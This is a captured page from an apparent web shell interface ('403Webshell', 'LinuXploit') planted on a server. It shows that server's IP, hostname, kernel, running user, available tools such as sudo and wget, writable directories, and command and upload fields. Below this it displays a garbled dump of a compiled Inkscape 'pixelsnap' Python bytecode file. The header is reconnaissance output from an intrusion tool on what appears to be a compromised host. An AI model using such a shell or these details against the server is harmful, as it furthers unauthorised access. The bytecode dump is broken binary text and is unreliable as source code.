403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/inkscape/extensions/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /usr/share/inkscape/extensions/__pycache__/pixelsnap.cpython-310.pyc
o

0�a�H�@s�dZddlmZddlmZddlZddlZddlmZmZmZm	Z	m
Z
mZdZGdd�de
�Zdd
d�Zddd
�ZGdd�dej�ZedkrNe���dSdS)a�
TODO: mark elements that have previously been snapped, along with the settings
    used, so that the same settings can be used for that element next time when
    it's selected as part of a group (and add an option to the extension dialog
    "Use previous/default settings" which is selected by default)

TODO: make elem_offset return [x_offset, y_offset] so we can handle non-symetric scaling
      => will probably need to take into account non-symetric scaling on stroke-widths,
         too (horizontal vs vertical strokes)

TODO: Transforming points isn't quite perfect, to say the least. In particular,
    when translating a point on a bezier curve, we translate the handles by the same amount.
    BUT, some handles that are attached to a particular point are conceptually
    handles of the prev/next node.
    Best way to fix it would be to keep a list of the fractional_offsets[] of
    each point, without transforming anything. Then go through each point and
    transform the appropriate handle according to the relevant fraction_offset
    in the list.

    i.e. calculate first, then modify.

    In fact, that might be a simpler algorithm anyway -- it avoids having
    to keep track of all the first_xy/next_xy guff.

Note: This doesn't work very well on paths which have both straight segments
      and curved segments.
      The biggest three problems are:
        a) we don't take handles into account (segments where the nodes are
           aligned are always treated as straight segments, even where the
           handles make it curve)
        b) when we snap a straight segment right before/after a curve, it
           doesn't make any attempt to keep the transition from the straight
           segment to the curve smooth.
        c) no attempt is made to keep equal widths equal. (or nearly-equal
           widths nearly-equal). For example, font strokes.

Note: Paths that have curves & arcs on some sides of the bounding box won't
    be snapped correctly on that side of the bounding box, and nor will they
    be translated/resized correctly before the path is modified. Doesn't affect
    most applications of this extension, but it highlights the fact that we
    take a geometrically simplistic approach to inspecting & modifying the path.
�)�division)�print_functionN)�PathElement�Group�Image�	Rectangle�ShapeElement�	Transform�c@seZdZdS)�TransformErrorN)�__name__�
__module__�__qualname__�rr�+/usr/share/inkscape/extensions/pixelsnap.pyrLsrFcCs|r|}|�|�S)z#apply_to_point with inbuilt inverse)�apply_to_point)�	transform�pt�inverserrr�transform_pointOs
rcCsb|r|}|dur||j9}|dur||j9}|dur#|dur#||fS|dur)|S|dur/|SdS)z� Dimensions don't get translated. I'm not sure how much diff rotate/skew
        makes in this context, but we currently ignore anything besides scale.
    N)�a�d)r�width�heightrrrr�transform_dimensionsUs

�rc@s�eZdZdd�Zdd�Zdd�Zd"dd	�Zd"d
d�Zdd
�Zd"dd�Z	d"dd�Z
d"dd�Zdd�Zd"dd�Z
d"dd�Zd"dd�Zd"dd�Zd"dd�Zd d!�ZdS)#�	PixelSnapcCsD|jddtjddd�|jddtjddd�|jd	d
tddd�d
S)zAdd inx optionsz-az--snap_ancestorsTzOSnap unselected ancestors' translations (groups, layers, document height) first)�type�default�helpz-tz--ancestor_offsetz_Calculate offset relative to unselected ancestors' transforms (includes document height offset)z-gz--max_gradientg�?z&Maximum slope to consider straight (%)N)�add_argument�inkex�Boolean�float)�self�parsrrr�
add_argumentsjs��
�zPixelSnap.add_argumentscCs\t|d|d�}t|d|d�}|dkr|dkrdS|dkr$dS|||jjdkS�Nr�TF�d)�abs�options�max_gradient�r#�pt1�pt2�hlen�vlenrrr�verticaluszPixelSnap.verticalcCshtt|d|d�t�}tt|d|d�t�}|dkr$|dkr$dS|dkr*dS|||jjdkSr&)�roundr)�	Precisionr*r+r,rrr�
horizontal~szPixelSnap.horizontalNcCsb|�|�}|dkrdS|jt|�}tt|j�t|j��dtkr'td��t||d�}|dS)z} Returns the amount the bounding-box is offset due to the stroke-width.
            Transform is taken into account.
        r�
z'Selection contains non-symetric scaling�r�)	�stroke_widthrr	r)rrr3rr)r#�elem�parent_transformr8rrrr�stroke_width_offset�s
"zPixelSnap.stroke_width_offsetcCs�ttj�|j�dd���}|�dd�}|dkrd}d}|r-|dur-|j�|�dd����}|rAt	|�|d<t	t�|��|jd<dS|S)z-Get/set stroke-width in pixels, untransformed�style��strokeN�nonerzstroke-width)
�dictr �Style�	parse_str�attrib�get�svg�unittouu�strip�str)r#r9�setvalr<r>r8rrrr8�szPixelSnap.stroke_widthc	Cs||d��}|dkrdS|dkr)t|||dddg�d||dd<dS|dkrDt|d||ddg�d||dd<dSd}|dkrLd}t|t||d�d	�D]0}||d|||d|d}}t|||f�\}}|||d|<|||d|d<qXdS)
zR Modifies a segment so that every point is transformed, including handles
        r�zN�hr'�vrr
r7)�lowerr�range�len)	r#r�path�i�segtype�first_coordinate�j�x�yrrr�transform_path_node�s ..&�zPixelSnap.transform_path_nodecCs�||d��}d}}|dkrd}|dkr,|r#|d||dd<nN||dd}nE|dkrF|r=|d||dd<n4||dd}n+|ra|dkra|d||dd<|d||dd<n||dd}||dd}|dury||gSdS)	z� Return the endpoint of the given path segment.
            Inspects the segment type to know which elements are the endpoints.
        rrJrKr'rL������N)rM)r#rPrQrIrRrUrVrrr�pathxy�s(�zPixelSnap.pathxyc
Cs�|j��}|jt|�}|��}|jr|jsdS|j|j}}|j|j}}	t	|�|t	|�|f}
t
||dd�}t
||	dd�}	tt|��D] }t|d�}|�
|||�|�
t|
d�||�|�
|||�qF||_dS)NT�r��	translate)�scale)�
original_path�	to_arraysrr	�bounding_boxrr�minimum�maximumr2rrNrOrW)
r#r9r:rPr�bboxrr�min_xy�max_xy�rescalerQr]rrr�snap_path_scale�s 


zPixelSnap.snap_path_scalec
Cs�|j��}|jt|�}|��}|j|j}}|dt|d�|dt|d�|jf}t	||d|ddd�}t
t|��D]
}	|�t|d�||	�q@t
t�|��}|�d�rb|�d|�dS|�d|�dS)Nrr'Tr[r\zinkscape:original-dr)r_r`rr	rarbrcr2�document_offsetrrNrOrWrHr �PathrD�set)
r#r9r:rPrrdrerf�fractional_offsetrQrrr�
snap_path_pos�s
.
zPixelSnap.snap_path_poscCsX|j}|js	|jr
td��t|���}t|j�|d<t|j�|d<|jt	|�9_dS)Nz9TR: Selection contains transformations with skew/rotation�r
)
r�c�br�list�to_hexadr2�e�fr	)r#r9r�trmrrr�snap_transformszPixelSnap.snap_transformcCs�|jt|�}|�|�}|dkrdStt|j�t|j��dtkr'td��|rBt||d�}t	|�}t||dd�}|�||�dSdS)Nrr5z@Selection contains non-symetric scaling, can't snap stroke widthr6T)rr)
rr	r8r)rrr3rrr2)r#r9r:rr8rrr�snap_strokes
"�zPixelSnap.snap_strokecCs2|j��}|jt|�}|js|jrtd��|�||�d}|�|d�}|�|d�}t	t
|��D]�}||d��}	|�||�}
|	dkrF|}
|t
|�dks`|t
|�dkrc|dd��dkrc|}n|�||d�}|
rq|rq|st|
}q0t|
�}t
t||
��}
t||�}t||�}d}
}|�|
|�r�t
|�dks�|dkr�|d|
d<d}|�|
|�r�d}|�|
|�r�t
|�dks�|dkr�|d|
d<d}
|�|
|�r�d}
t|�}ddg}|
r�|
dt|
d|�||d<|r�|
dt|
d|�||j|d<t||d|ddd	�}|�t|d
�||�q0||_dS)Nz;Path: Selection contains transformations with skew/rotationr'rYrrJr7FTr[r\)r_r`rr	rorprr;rZrNrOrM�tuplerqrr4r1r2rirrW)r#r9r:rPr�offset�prev_xy�first_xyrQrR�xy�next_xy�xy_untransformed�on_vertical�
on_horizontalrlrrr�	snap_path(sb
$

 ��
zPixelSnap.snap_pathc	CsB|jt|�}|js
|jrtd��|�||�d}|j�|jd�}|j�|jd�}|j�|jd�}|j�|jd�}t	|||�\}}t
|||g�\}}t|�}t|�}t||�|}t||�|}t	|||dd�\}}t
|||gdd�\}}||j|j
7}t|�|jd<t|�|jd<t|�|jd<t|�|jd<dS)	Nz;Rect: Selection contains transformations with skew/rotationr'rrrUrVTr[)rr	rorprr;rErFrCrrr2rirrH)	r#r9r:rryrrrUrVrrr�	snap_rectis*zPixelSnap.snap_rectcCs|�||�dS�N)r�)r#r9r:rrr�
snap_image�szPixelSnap.snap_imagecCszt|ttttf�sdSt|t�r>|�|�|jt|�}|D]}z|�||�Wqt	y;}zt
�t|���d}~wwdS|j
jrR|durR|��D]}|�|�qJ|j
jrg|durgt|��t�rg|����}|�|�z|�||�Wnt	y�}zt
�t|���d}~wwt|t�r�|�||�|�||�|�||�dSt|t�r�|�||�dSt|t�r�|�||�dSdSr�)�
isinstancerrrrrvrr	�
pixel_snaprr �AbortExtensionrHr*�snap_ancestors�	ancestors�ancestor_offset�	getparentr�composed_transformrwrhrmr�r�r�)r#r9r:r�child�errrrrr��sF

��
��


�zPixelSnap.pixel_snapcCsp|j��}|j�|jd�d|_|jj��D]\}}z|�|�Wqt	y5}zt
�t|���d}~wwdS)Nrr')
�document�getrootrErFrCri�selected�itemsr�rr r�rH)r#rE�idr9r�rrr�effect�s
���zPixelSnap.effectr�)rr
rr%r1r4r;r8rWrZrhrmrvrwr�r�r�r�r�rrrrris"	
	


 



A
!
)r�__main__)F)NNF)�__doc__�
__future__rr�sysr rrrrrr	r3�	Exceptionrrr�EffectExtensionrr�runrrrr�<module>s + 

[�

Youez - 2016 - github.com/yon3zu
LinuXploit